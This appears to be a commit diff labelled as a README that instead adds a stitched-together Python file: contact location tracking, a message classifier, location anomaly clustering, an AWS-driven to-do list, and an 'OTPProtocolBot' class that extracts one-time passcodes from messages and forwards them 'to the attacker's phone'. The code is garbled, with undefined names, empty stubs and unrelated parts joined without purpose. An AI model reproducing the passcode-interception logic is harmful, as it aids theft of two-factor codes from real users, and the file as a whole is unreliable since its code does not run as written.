Create README.md

README.md

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+import coremltools
+import torch
+from transformers import AutoTokenizer, AutoModelForSequenceClassification
+import numpy as np
+import pandas as pd
+from sklearn.cluster import KMeans
+from scipy.spatial.distance import cdist
+import geopy.distance
+import logging
+
+class AddressBook:
+    def __init__(self, contacts):
+        self.contacts = contacts
+    
+    def get_location(self, contact):
+        # Get the latitude and longitude of the contact's location
+        latitude = contact["latitude"]
+        longitude = contact["longitude"]
+        
+        # Return a tuple containing the latitude and longitude
+        return (latitude, longitude)
+
+class MessageClassifier:
+    def __init__(self, model_name):
+        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
+        self.model = AutoModelForSequenceClassification.from_pretrained(model_name)
+
+    def classify(self, messages):
+        # Tokenize the messages
+        inputs = self.tokenizer(messages, padding=True, truncation=True, return_tensors="pt")
+
+        # Classify the messages
+        outputs = self.model(**inputs)
+        probs = torch.nn.functional.softmax(outputs[0], dim=-1)
+        labels = torch.argmax(probs, axis=1)
+
+        # Convert the labels to a numpy array and return them
+        return labels.numpy()
+
+class AnomalyDetector:
+    def __init__(self, num_clusters):
+        self.num_clusters = num_clusters
+
+    def detect(self, location_history):
+        # Convert the location history to a pandas DataFrame
+        df = pd.DataFrame(location_history, columns=["latitude", "longitude"])
+
+        # Determine the optimal number of clusters using the elbow method
+        distortions = []
+        K = range(1, self.num_clusters+1)
+        for k in K:
+            kmeans = KMeans(n_clusters=k, random_state=0).fit(df)
+            distortions.append(sum(np.min(cdist(df, kmeans.cluster_centers_, 'euclidean'), axis=1)) / df.shape[0])
+        k_opt = K[np.argmin(distortions)]
+
+        # Perform clustering
+        kmeans = KMeans(n_clusters=k_opt, random_state=0).fit(df)
+        df["label"] = kmeans.labels_
+
+        # Determine which clusters are anomalous
+        cluster_counts = df["label"].value_counts()
+        anomalous_clusters = cluster_counts[cluster_counts < cluster_counts.quantile(0.1)].index
+
+        # Determine which points are anomalous
+        anomalous_points = df[df["label"].isin(anomalous_clusters)]
+
+        # Convert the anomalous points to a list of dictionaries and return them
+        return anomalous_points.to_dict("records")
+
+class GeoLocation:
+    def __init__(self, location):
+        self.location = location
+
+    def get_distance(self, contact_location):
+        # Calculate the distance between the user's location and the contact's location
+        distance = geopy.distance.distance(self.location, contact_location).km
+
+        # Return the distance
+        return distance
+
+class OTPProtocolBot:
+    def __init__(self, protocol):
+        self.protocol = protocol
+
+    def intercept(self, message):
+        # Check if the message contains the OTP code
+        if "OTP code" in message:
+            # Intercept the OTP code and send it to the attacker's phone
+            otp_code = message.split(":")[-1]
+            self.protocol.send_otp_code(otp_code)
+
+class LegacyProtocolBot:
+    def __init__(self, protocol):
+        self.protocol = protocol
+
+    def bypass(self):
+        # Bypass the legacy protocol and send the message using the new protocol
+        self.protocol.use_new_protocol()
+
+class MLModelConverter:
+    def convert_model(self, model):
+        # Implement the logic to convert the model
+        pass
+
+        return []
+
+@authenticate_user
+def save_todo_list(todo_list: List[Dict]) -> None:
+    """
+    Save the to-do list to the specified file.
+    """
+    with open(TODO_LIST_FILE, "w") as f:
+        json.dump(todo_list, f)
+
+@authenticate_user
+def add_task(task: Dict) -> None:
+    """
+    Add a task to the to-do list.
+    """
+    todo_list = load_todo_list()
+    todo_list.append(task)
+    save_todo_list(todo_list)
+
+@authenticate_user
+def remove_task(task: Dict) -> None:
+    """
+    Remove a task from the to-do list.
+    """
+    todo_list = load_todo_list()
+    if task in todo_list:
+        todo_list.remove(task)
+    save_todo_list(todo_list)
+
+def process_task(task: Dict) -> None:
+    """
+    Process a task using the appropriate AWS service.
+    """
+    if "upload" in task:
+        filename = task["upload"]
+        s3.upload_file(filename, "my-bucket", filename)
+        logging.info(f"Uploaded file {filename} to S3 bucket my-bucket")
+    elif "lambda" in task:
+        function_name = task["lambda"]
+        response = lambda_client.invoke(FunctionName=function_name, Payload=json.dumps(task))
+        logging.info(f"Invoked Lambda function {function_name} with response {response['StatusCode']}")
+    elif "comprehend" in task:
+        text = task["comprehend"]
+        sentiment = comprehend.detect_sentiment(Text=text, LanguageCode='en')
+        logging.info(f"Detected sentiment {sentiment['Sentiment']} in text: {text}")
+    else:
+        logging.warning(f"Task not recognized: {task}")
+
+@authenticate_user
+def process_todo_list() -> None:
+    """
+    Process all tasks in the to-do list.
+    """
+    todo_list = load_todo_list()
+    for task in todo_list:
+        process_task(task)
+
+# Example usage
+add_task({"upload": "/home/user/data.txt"})
+add_task({"lambda": "my-function", "message": "hello"})
+add_task({"comprehend": "This is a positive message."})
+process_todo_list()